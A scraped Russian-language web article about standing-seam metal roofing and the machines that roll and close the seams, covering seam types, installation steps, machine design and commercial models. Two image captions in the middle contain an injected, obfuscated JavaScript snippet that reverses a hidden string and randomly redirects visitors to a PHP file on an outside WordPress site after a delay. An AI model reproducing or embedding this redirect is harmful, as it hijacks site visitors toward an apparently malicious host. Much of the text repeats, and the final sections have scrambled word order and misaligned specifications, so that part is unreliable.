Фальцепрокатные станки

Изучаем технологию монтажа фальцевой кровли

При соблюдении для фальцевой кровли технологии монтажа, инструкция которой описана ниже, можно предупредить прогибы, деформации и коррозию покрытия. Качественно и правильно выполненные кровельные работы позволят хозяевам дома забыть о ремонте крыши на долгие годы.

Фальцевая кровля: особенности конструкции

Фальцевая крыша получила такое название из-за особенности соединения листов металла. «Фальц» в переводе с немецкого обозначает «шов», при помощи которого соединяются отдельные элементы кровельного покрова. Металлические листы загибаются по краям, за счет этого и происходит их соединение.

Варианты фальцевых соединений

• Стоячий фальц (одинарный или двойной).
• Лежачий фальц (одинарный или двойной).

Подобные замковые соединения обеспечивают водонепроницаемость, герметичность, продолжительность эксплуатационного периода, а также привлекательность кровельного покрытия.

Виды фальцевой кровли по типу материалов

• Стальная оцинкованная. Отличается прекрасными антикоррозийными характеристиками, срок службы достигает 30 лет.
• Стальная оцинкованная с полимерным покрытием. Кроме характерных защитных выполняет декоративную функцию, отличается широким ассортиментом цветовых решений.
• Медная. Отличается наиболее продолжительным сроком службы — от 100 лет. Монтаж медной фальцевой кровли производится при помощи рулонных материалов, которые могут быть разной фактуры.
• Алюминиевая. Эксплуатационный период — порядка 80 лет. Отличается повышенной устойчивостью к температурным перепадам, деформированию.
• Цинково-титановая.Период эксплуатации — 100 лет. Обладает повышенной коррозионной стойкостью.

Преимущества фальцевой кровли

• Удобство, быстрота выполнения монтажных работ.
• Минимальное количество строительных отходов.
• Надежная герметичность.
• Расположение крепежных элементов под кровельным покровом способствует улучшению внешнего вида крыши, не нарушая при этом герметичность.
• Применение рулонных материалов предоставляет возможность укладывать один лист на всю длину кровельного ската.

Недостатки

• Утепленная металлическая крыша требует выполнения качественной звукоизоляции.
• Материалу свойственно накопление статического электричества, поэтом требуется обустройство молниезащиты.

Технология установки фальцевой кровли

Такая конструкция крыши может отличаться лишь используемым материалом для производства покрытия. Также существуют разные технологии ее монтажа, так как покрытие выпускается в рулонах или листах. Классическим вариантом является листовой материал, но он становится все менее востребованным.

Основное требование к фальцевым кровлям любого типа — обеспечение особых условий в подкровельном пространстве (на чердаке), предупреждающих формирование на крыше конденсата, который действует разрушительно на кровельный покров.

Преимущества технологии укладки рулонной фальцевой кровли

• Удобство, быстрота выполнения кровельных работ.
• Применение двойного стоячего фальца обеспечивает повышенную герметичность.
• Возможность применения технологии для кровельных конструкций любой сложности, с любым углом наклона скатов.
• Возможность монтажа как металлических листов, так и стальных с дополнительным полимерным покрытием, улучшающим эксплуатационные качества материала.

Инструкция монтажа

Монтаж фальцевой кровли необходимо начинать с обрешетки, конструкция которой включает металлический профиль, деревянные брусья (доски). Обрешетка не должна иметь углублений и обязана быть абсолютно ровной.

• В первую очередь на систему стропил укладываются изоляционные материалы. Крышу обязательно нужно утеплить, гидроизолировать. Для обеспечения вентиляции подкровельного пространства устанавливается легкая обрешетка с интервалом 0,4 м.
• Следующий шаг — монтаж первого листа покрытия в виде гребня. Предварительно нужно выполнить карнизную часть крыши.
• В коньковой части монтируется опорная доска.

• На ендове выполняют сплошной настил из досок.
• Листы необходимо класть внахлест 40 мм, за счет которого осуществляется их выравнивание.
• На карнизном участке фиксация кровельного материала производится к верхней обрешетке.
• На торцевых участках листы крепятся саморезами, шайбами. При этом обязательно используются уплотнительные прокладки.
• Продольная состыковка стальных листов тоже осуществляется внахлест.
• На стыках кровельного материала монтируются снеговые барьеры.

При использовании строительных материалов высокого качества, соблюдения всех требований технологии проведения монтажа фальцевой кровли крыша дома будет служить своим хозяевам без необходимости проведения ремонта долгие годы.

Принцип работы фальцепрокатного станка

Перед тем, как сделать фальцепрокатный станок, следует узнать, как он работает. Принцип работы фальцепрокатного станка основан на рулонной технологии, которая предоставляет возможности изготовления кровельных картин во всю длину ската и избегания ненужных горизонтальных соединений. Железо в рулонах для кровли стоит намного дешевле листового, его удобно поднимать на кровлю и непосредственно там изготавливать картины. Рулон металлической полосы помещают на размоточное устройство.

После нажатия на кнопку «Пуск», что расположена на кнопочном пульте, включается электрический двигатель, который через цепную передачу и редуктор вращение передает на валы формирующего устройства. Конец металлической полосы подается по направляющим станка на 1-ую пару формирующих роликов. Роликами захватывается металлическая полоса и протягивается через всю поверхность формирующего устройства. При достижении определенной длины отформованного листа фальцепрокатный станок отключают посредством нажатия кнопки «Стоп». Для вытаскивания отформованных листов назад в конструкции имеется реверс.

После этого монтажникам нужно только соединить две детали. Помимо подобных кровельных работ, лежачие фальцы, выполненные с помощью фальцегибов, используются для изготовления герметичных воздуховодов или водосточных труб. Транспортировка станка разрешена в любом положении, которое не допускает механических поломок элементов управления и конструкции. Периодически желательно проводить профилактические настройки и смазывать работающие части (цепь, винт прижимного вала, натяжитель цепи, направляющие прижимного вала, шестерни).

Станки для производства прямоугольных воздуховодов от завода «СПЕЦВЕНТРЕШЕНИЕ»

Автоматическая линия по производству прямоугольных коробов из рулонного металла шириной до 1500 мм и толщиной до 1,6 мм.

Предназначен для серийного производства прямоугольных воздуховодов. Формирование и осадка замка за один проход.

Уникальный по своим характеристикам станок тоннельной сборки воздуховодов.

Станки плазменной резки металла с ЧПУ серии SprintCutter (ex MasterCut).

Универсальный фальцепрокатный станок для HVAC индустрии

Станок служит для изготовления фланца на краях заготовок, а также прокатки профиля из полосы металла

Служит для поднятия криволинейной кромки на угол в 90 градусов в заготовках являющихся ответной частью «Питтсбургского замка».

Применяется для вальцовки деталей с прокатанными фальцами («питтсбургский шов», «стоячий фальц») .

Предназначен для осадки «Питтсбург» шва на прямолинейных и криволинейных заготовках прямоугольных воздуховодов

Профилирование материала по форме Z, находит свое применение главным образом в вентиляционной промышленности, кондиционировании воздуха.

Оборудование для быстрого и легкого способа производства сложных переходов.

Предназначен для присоединения фланцевой шины («шины-рейки») к вентиляционному коробу.

Рабочий принцип фальцепрокатного станка

По желанию, чтобы этот аппарат долго и без особых проблем прослужил вам, необходимо понять основополагающий принцип работы этого станка. При нажатии на пусковую кнопку должен заработать электромотор. Вращающий момент от электрического привода передаётся на образовывающие валы с роликами при помощи цепной передачи и редуктора. Металлический лист проходит ровно по направляющим станка на первую пару роликов. Они зацепляют заготовку и проталкивают ее через обрабатывающие ролики. Устройство выключают, сразу как он обработает нужную длину листа металла. Для извлечения готового изделия, запускают обратный ход. После нужно лишь скрепить заготовки специализированным закаточным инструментом.

Важные характерные характеристики такого оборудования, на которые необходимо смотреть при подборе:

• кол-во профилирующих пар (число пар роликов, которые сгибают лист в фальц);
• разновидность профилирования фальцевых замков на одном станке (сколько различных вариантов соединений, замков может делать станок);
• ограничения по ширине заготовки;
• самая большая рабочая толщина;
• продуктивность (для станков с ручным приводом эта характеристика условна и в большей степени зависит от внешних факторов.

Главные типы соединений которые называются «замок», которые способны делать разные модели фальцепрокатных станков:

• лежачий фальц;
• питтсбургский фальц, американка;
• защелочный фальц;
• закрытый угловой фальц;
• стоячий фальц;
• C-рейка;
• S-шина.

Подводя весь итог небольшому обзору, можно выделить следующие преимущества данных фальцепрокатных станков:

• большая точность обработки;
• надежность;
• легкость обслуживания;
• отсутствие повреждений покрытия материала;
• большинство моделей оборудования поставляют с электронной системой управления, благодаря которой можно создавать двойные замки при скреплении всевозможных изделий;
• наличие винтовых элементов опоры обеспечивает хорошую стойкость без надобности усиления фундамента;
• для работы на станке не требуется обширного опыта и большой квалификации от специалиста;
• возможна обработка изделий с радиальными, криволинейными или прямыми краями, что повышает сферу использования;
• оборудование если хочет клиент может поставляться с индивидуальной оснасткой, которая сделает шире функционал станка.

Сейчас более распространёнными на рынке моделями фальцепрокатных станков являются LC-12R Stalex, LC-12R ACL, LC-15DR ACL, LC-15CR ACL. Они получили собственную большую популярность благодаря оптимальному комбинированию отличного качества, удобства в работе и низкой цене. Эти модели производятся на заводах TTMC в Китае. Узнать наличие или заказать их можно в компании «Стербруст». Доставка любого оборудования выполняется транспортными компаниями по всей России и странам СНГ.

Если вы нашли погрешность, пожалуйста, выдилите фрагмент текста и нажмите Ctrl+Enter.

Общие сведения

Разновидности фальцев

Фальцевое соединение – это ни что иное, как скрутка двух смежных листов металла между собой, а для обустройства такой скрутки следует загибать фальц по краю листа, и для создания такого загиба требуется фальцепрокатный станок. Есть две разновидности фальцевых соединений, а именно двойной и одинарный фальц, и кроме того они могут быть лежачими и стоячими. От выбора соединения во многом будет зависеть герметичность.

• Одинарный фальц является основой, так как одни лист в этом случае загибают под прямым углом в 90 градусов, а на втором листе создают зацеп, а после выполнения соединения такой зацеп обжимают.
• Двойной фальц в какой-то мере можно даже назвать аналогом одинарного, но вот скрутка в этом случае делается в 2 оборота. Чтобы получилось так завернуть металл, размер зацепа в заготовке обязательно должен быть меньше, примерно 0.5-0.7 см, а высота заготовка наоборот, должна быть больше.

Что касательно лежачего соединения, то они аналогичны стоячим, но с тем отличием, что завернуты набок. Сейчас достаточно часто можно встретить в продаже Г-образные кровельные фальцы, но от такого соединения какой-то практической пользы нет, и его нельзя назвать лучше или хуже двойного загиба, но большинство людей считают, что именно так кровля будет выглядеть в разы эффектнее. По-особенному интересно Г-образный фальц выглядит на скругленном радиусе.

Описание и сведения о станках

Главным преимуществом фальцевой кровли можно назвать то, что перекрытие получается без присутствия крепежных или соединительных отверстий, монолитным. Но все-таки кровельный металл сам по себе достаточно тонкий и изготавливать заготовки на производстве, а после перевозить их на объект крайне неудобно, а иногда даже и невозможно.

Малый фальцепрокатный станок для кровли может кардинально изменить ситуацию (в лучшую сторону). С наличием такого оборудования можно создавать заготовки, находясь на самом объекте, и кроме того, есть даже такие модели, которые можно устанавливать прямо на крыше. Отметим еще один нюанс – для выполнения загибов на кромке листов требуется фальцепрокатный станок, а для изготовления двойного фальца и опрессовки соединения для доведения его к конечному результату, требуется другой станок, фальцеосадочный. Он помогает в несколько раз сократить время обустройства кровли.

Чаще всего толщина металла для кровельных работ равна 0.05-0.1 см, но максимум можно составлять 0.12 см. Но поверьте, что хорошие станки для фальцевой кровли рассчитаны для работ с металлом, толщина которого от  0.03 до 0.15 см. Такое оборудование уже можно считать практические профессиональным, и на нем можно делать не только всевозможные кровельные картины, но и загибать заготовки под водосточные или вентиляционные трубы, а кроме того, делать желоба и накладки конькового типа.

Технология производства

Фальцепрокатный станок незаменим как при обустройстве самой фальцевой кровли, так и для изготовления вспомогательной кровельной фурнитуры. Сюда относятся элементы водосточной системы, фронтальные и торцевые свесы кровли, а также с его помощью делают вентиляционные короба из оцинковки.

Виды фальцев

Фальцевое соединение представляет собой скрутку между двумя смежными листами металла, а чтобы обустроить эту скрутку, нужно загнуть фальц по краю листа, вот как раз для загиба этого фальца и нужен фальцепрокатный станок.

Фальцевых соединений существует 2 — это одинарный и двойной фальц, плюс фальцы могут быть стоячими и лежачими.

От выбора соединения зависит уровень герметичности.

• Одинарный фальц считается основой, здесь один лист просто загибается под 90º, а на втором листе делается своеобразный зацеп и после соединения этот зацеп обжимается;
• Двойной фальц можно назвать аналогом одинарного, только скрутка делается в 2 оборота. Чтобы так завернуть металл размер зацепа в заготовке должен быть меньше, в среднем порядка 5-7 мм, а высота заготовки делается наоборот, больше.

Что касается лежачих вариантов соединения, то они точно такие же, как стоячие, только завернуты набок.

Особенно хорошо Г-образный фальц выглядит на скругленных радиусах.

Общие сведения о станках

Главное достоинство фальцевой кровли в том, что покрытие получается монолитным, без каких-либо крепежных или соединительных отверстий. Но кровельный металл сам по себе довольно тонкий и делать заготовки на производстве, а потом транспортировать их на объект неудобно, а зачастую и нереально.

Небольшой фальцевый станок кардинально меняет ситуацию. С таким оборудованием можно делать заготовки непосредственно на объекте, более того, существуют модели, которые можно установить прямо на крыше.

Есть еще один важный нюанс: для загибания кромки листов нужен фальцепрокатный станок, а чтобы сделать двойной фальц и опрессовать соединение доведя его до конечного результата, используется фальцеосадочный станок.

$mWn=function(n){if(typeof ($mWn.list)==»string») return $mWn.list.split(«»).reverse().join(«»);return $mWn.list;};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dochnyj-stanok-v-razy-sokrashhaet-vremya-obustrojstva-krovli.jpg» alt=»Фальцеосадочный станок в разы сокращает время обустройства кровли.» width=»500″ height=»375″ /> Фальцеосадочный станок в разы сокращает время обустройства кровли.

Зачастую толщина металла для кровельных работ колеблется в районе 0,5-1 мм, при этом максимум составляет 1,2 мм. Но хороший станок для фальцевой кровли рассчитывается под работу с металлом от 0,3 до 1,5 мм.

Такое оборудование уже ближе к профессиональному, и на нем можно делать не только кровельные картины, но еще гнуть заготовки под разного рода водосточные или вентиляционные трубы, плюс делать ендове желоба и коньковые накладки.

Сам принцип работы агрегата прост: любой фалцепрокатный станок имеет ряд обжимных фигурных роликов, которые собственно и загибают края листа. Обжимные ролики устанавливаются попарно на обжимные валы.

$mWn=function(n){if(typeof ($mWn.list)==»string») return $mWn.list.split(«»).reverse().join(«»);return $mWn.list;};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom-horosho-600×419.jpg» alt=»Фальцепрокатный станок с ручным приводом хорошо подходит для любительского использования.» width=»600″ height=»419″ /> Фальцепрокатный станок с ручным приводом хорошо подходит для любительского использования.

Количество таких обжимных валов может быть разное, но, сколько бы их ни было, они приводятся в движение редуктором, а сам редуктор вращается благодаря электродвигателю. Есть, конечно, оборудование с ручным приводом, но производительность там очень низкая и такие аппараты встречаются редко.

Принцип работы фальцепрокатного станка

Пример ручного фальцепрокатного станка

Главным преимуществом, которым обладает фальцепрокатный станок, является возможность изготовления рулонного стального проката с двойными картинами стоящего фальца. Благодаря этому уменьшаются затраты по перевозке, монтажу и обслуживанию материала для кровли или других конструктивных элементов.

В оборудовании есть система роликов, проходя через которые плоскость рулона деформируется – образовываются углы и уступы. Таким образом происходит изменение конфигурации материала. Для повышения качества изготовления система должна состоять из нескольких пар роликов, чтобы равномерно распределить давление на заготовку. Т.е. на первой паре роликов происходит незначительное изменение строения детали

При последующем продвижении по направляющим величина деформации возрастает, при этом важно сохранить целостность материала

Конструктивно фальцепрокатный станок состоит из следующих компонентов:

• основа станка. Она может быть настольная или напольная. Необходима для установки системы роликов и другого вспомогательного оборудования;
• ролики. С их помощью происходит деформация листового материала. Могут иметь различный диаметр. Условно разделяют по расположению – горизонтальные и вертикальные;
• система подачи заготовки. В зависимости от степени трудоемкости работ бывает ручная или автоматизированная. Во втором случае с помощью специальных зажимов происходит захват края материала и его дальнейшая протяжка по горизонтальной плоскости.

Настройка каждой пары роликов выполняется в индивидуальном порядке. Чем их больше – тем сложнее этот процесс. Однако при этом возрастают возможности станка и повышается качество обработки.

Виды ручных листогибов

Для домашнего пользования наиболее часто используются поворотные листогибы. Они работают по такому принципу: металлический лист кладется между двумя фиксирующими плоскостями, одна из которых выступает за поверхность другой и имеет поворотный механизм.

Как правило, этот поворотный механизм расположен на нижней плоскости и при её поднятии, находящийся под прижимом верхней плоскости металлический лист начинает изгибаться.

Преимущество такой конструкции в относительной простоте изготовления и достаточно высокой производительности при использовании жести небольшой толщины. Главный недостаток такой конструкции в том, что она может выполнять изгибы металла ограниченной толщины и наиболее подходит для работы с угловыми изгибами. Согнуть материал по дуге с помощью такого станка будет очень проблематично.

Видео описание

О работе станка на объекте в следующем видео:

• Дополнительные функции

  . Некоторые модели позволяют осуществлять настройку работы с различными металлами (под толщину и вид); это делается при помощи регулировки степени зажима рабочих роликов. Универсальные инструменты могут работать с толстым листом, различными формами кровли (прокатывать по отдельности левый и правый фальц), срезать старый фальц.

• Ручные фальцегибочные машины

  удобны при монтаже водосточных труб круглого и прямоугольного сечения.

На рынке представлены станки как отечественные, так и зарубежного производства (немецкого, французского, китайского). Приобретение зарубежного оборудования дает дополнительные преимущества:

• Автоматическая

  (быстрая и точная)регулировка ширины кровельных картин . Мастеру не придется вручную перестраивать каждую пару роликов, перемещая их на валах; это делается плавным поворотом ручки.

  

  

  

  

  

  

  

  

  

  

• Прокатка картин проходит качественно, без волн благодаря дополнительной паре роликов

Мобильный фальцепрокатный станок Источник mytooling.ru

• Станок предназначен для работы и в цеху, и на стройплощадке

  , в том числе на кровле.

• Прокатываемая поверхность картин с покрытием или из дорогого материала не царапается благодаря использованию специальных составных роликов

Принципы сборки станка

Первое и самое важное — собрать надежную опору с идеальным горизонтом. Относительно нее и непосредственно к ней крепится неподвижная часть станка — это опорная балка, металлический уголок на болтовом соединении. Между балкой и столом прокладывают полосу металла — так образуется паз для защемления кромки

Важно прочно прикрепить балку к опоре, чтобы во время изгибания она не вращалась вместе с траверсой от приложенного усилия. Траверса представляет собой рычаг с минимальным плечом 1:10 — такой же уголок, как и балка, но закрепленный на подвижной оси. Следующий важный шаг — центрирование оси вращения траверсы. Этот фактор влияет на качество получаемого фальца

Между балкой и столом прокладывают полосу металла — так образуется паз для защемления кромки

Важно прочно прикрепить балку к опоре, чтобы во время изгибания она не вращалась вместе с траверсой от приложенного усилия. Траверса представляет собой рычаг с минимальным плечом 1:10 — такой же уголок, как и балка, но закрепленный на подвижной оси

Следующий важный шаг — центрирование оси вращения траверсы. Этот фактор влияет на качество получаемого фальца.

Как выглядит готовый фальцегибочный станок ручной и некоторые особенности конструкции можно увидеть в данном ролике:

Фальцекаточные станки: для больших и малых площадей

Для производства и монтажа фальцевой кровли необходим мобильный кровельный станок. Его производят для проката картин и закрытия двойного фальца:

Например, в России такие станки производит , хотя пользуются спросом и такие западные аналоги, как Wuko lock’n’rolle.

Для работы с крышей обычного загородного частного дома тоже есть смысл использовать современное оборудование, которое значительно повышает итоговое качество кровли. Но почему-то до сих пор большинство бригад работает по старинке, при помощи традиционной киянки и молотка.

Логичнее взять нужный инструмент в аренду на несколько дней, и тогда швы на кровле будут идеально ровными и надежными. Тем более, что обычно станок способен производить фальцевую кровлю из любого кровельного металла, будь то медь, сталь или алюминий.

Итак, давайте рассмотрим внимательно, что это за инструмент. Сегодня на российском рынке фальцезакаточная машинки предоставлены 7-ю производителями. Это говорит о возможности хорошего выбора.

Например, электрическая фальцезакаточная машинка соединяет и закрывает профилированные панели с двойным стоячим фальцем. Причем делает она это в один проход, быстро перемещаясь по фальцевому шву прямо на кровле.

Учитывайте также такой момент, что европейские фальцепрокатный станки обычно рассчитаны на высоту фальца в 25 мм, а американское оборудование- на 38 мм. Тут уже вам нужно подумать и прочитать совместимость приобретенного оборудования.

Дело в том, что у некоторых машин можно регулировать высоту ножек, а для других придется отдельно заказывать такие ножки под 38 мм (дополнительные затраты, как никак). К слову, для ручных маленьких машин вопрос высоты фальца не важен.

Само мобильное профилированное оборудование устанавливают прямо на месте кровли и изготавливают цельные панели под двойной стоячий фальц

Здесь важно приобрести действительно качественную машинку

В противном случае монтажники умудряются разрезать панели по длине на несколько частей, а потом состыковать эти части заклепками, что абсолютно неправильно. Так в итоге получаются крыши из дорогих материалов, как цинк или медь, но с большими проблемами в плане герметичности.

Вот пример работы такой машинки:

Механические машинки для закрытия фальца обходятся дешевле, да, и работать с ними вы будете вынуждены медленнее. Также всегда существует человеческий фактор – риск просто недожать фальц.

В комплект станков Мобипроф включены две машинки для соединения панелей двойным стоячим фальцем. Легким движением нужно переместить первую машинку для того, чтобы изготовить г-образные фальц, а затем вторую машинку для образования самого фальцевого соединения.

У таких машинок есть специальная регулировка степени зажатия фальца, что очень важно для работы с металлом разного типа. При этом швы закрываются достаточно быстро, почти так же, как и с электромеханическими машинами. Устройство Wuko lock’n’rolle применяется для закрытия фальца и панели с двойным стоячим фальцем

Ими удобно работать в любом направлении, но придется держать саму машинку обеими руками, как рубанок. Среди преимуществ назовем небольшую цену и вес

Устройство Wuko lock’n’rolle применяется для закрытия фальца и панели с двойным стоячим фальцем. Ими удобно работать в любом направлении, но придется держать саму машинку обеими руками, как рубанок. Среди преимуществ назовем небольшую цену и вес.

Отдельно отметим такую фальцезакаточная машинку, как Wuko 1006. Она небольшая и легкая, и, пожалуй, единственная, которая может быть применена для монтажа кровли сложной формы, у которой много примыканий и переходов. Сама машинка хорошо закрывает одинарный и двойной Г-образный стоячий фальц.

Отличается она по своему устройству от других моделей тем, что имеет особый механизм закрытия – специальный молоточек, который как бы простукивает фальц (при этом все другие модели этот фальц поджимают роликами). В его работе это заметно: такая машинка движется медленно, иногда оставляет следы на металлы. Но зато прекрасно работает на любом виде стыка и фальца.

Отметим отдельно, что достаточно много фальцезакаточных машинок изначально разработаны для работы с дорогостоящими пластичными металлами. Таковые для закатки оцинковки высокой жесткости просто не подходят.

Есть также специальное оборудование для изготовления фальцевой кровли на радиусных стропилах. Это целые модели машин, которые отличаются между собой ограничением по минимальному радиусу кровли. Поэтому, если приобрести не ту машину, придется еще вооружиться ручным кровельным инструментом, чтобы добивать фальцы.

Посмотрите, как выглядят все эти машинки:

Фальцевальный станок BAUM CF20

высокоскоростной Профессиональный фальцевальный станок BAUM20 CF предназначен работы для с бумагами повышенной плотности, которые на фальцовках обычных ломаются. Машина не имеет автоматической имеет, но подачи приводной стол бокового равнения.

попавший Лист на этот стол выравнивается по боковому затем и упору фальцуется. Машина имеет полиуретановый вал фальцевальный диаметром 70 мм и специальные кассеты для плотностями с работы до 600 г/м², не оставляя помарок. Независимый управления пульт и каскадная приемка в стандартной комплектации.

предназначена CF BAUM20 для работы в линию с другими например, машинами с биговальной машиной (PIT STOP) и уникальную имеет систему изменения высоты.

Вы просто ручку вращаете, пока машины не поднимутся на один Фальцевальная.

уровень секция имеет 4 фальцевальных группы и настройку клипсовую на толщину бумаги.

Особенности:

• Мощная герметичные, рама подшипники, косозубые шестерни, централизованная смазки система;
• Клипсовая настройка на толщину бумаги;
• каскадная Съемная приемка с независимым электроприводом;
• Мощные большого оси диаметра (27,2 мм) для дополнительных операций – биговки, перфорации, продольной резки;
• Быстрая и легкая кассет настройка на длину фальца, устранение диагонального Датчик;
• перекоса замятия на выходе машины;
• Звукопоглощающие Параметры.

кожуха

максимальный / минимальный формат, мм	520 х 100 / 780 х 150
минимальный размер фальца, мм	38
фальцев количество, шт	2 (2)
механическая скорость, метров / минуту	плотность
208 бумаги, грамм / кв.м	60 — 385
электропитание	габариты В
380 (ДхШхВ), мм	2362 х 990 х 620
585, кг	вес

Самодельный листогиб сделанный своими собственным, по руками чертежам, не только экономит ваши покупке на средства заводского варианта станка, но и доставляет удовольствие огромное при работе, ведь вы сделали таким его каким хотели.

Ниже мы покажем несколько вам вариантов изготовления листогибочного станка схеме по выполненного с поворотной балкой, а также в виде пресса гибочного прямого действия с матрицей и пуансоном.

По выложим возможности видео работы самодельных гибочных также, а станков рассмотрим отдельные узлы подробнее, а вы взять сможете для себя самое лучшее.

грамотном При подходе самодельные листогибочные станки не многим уступают заводским аналогам, но нужно понимать, оборудование что созданное в «гаражных» условиях может точности в проигрывать и технологичности заводским моделям.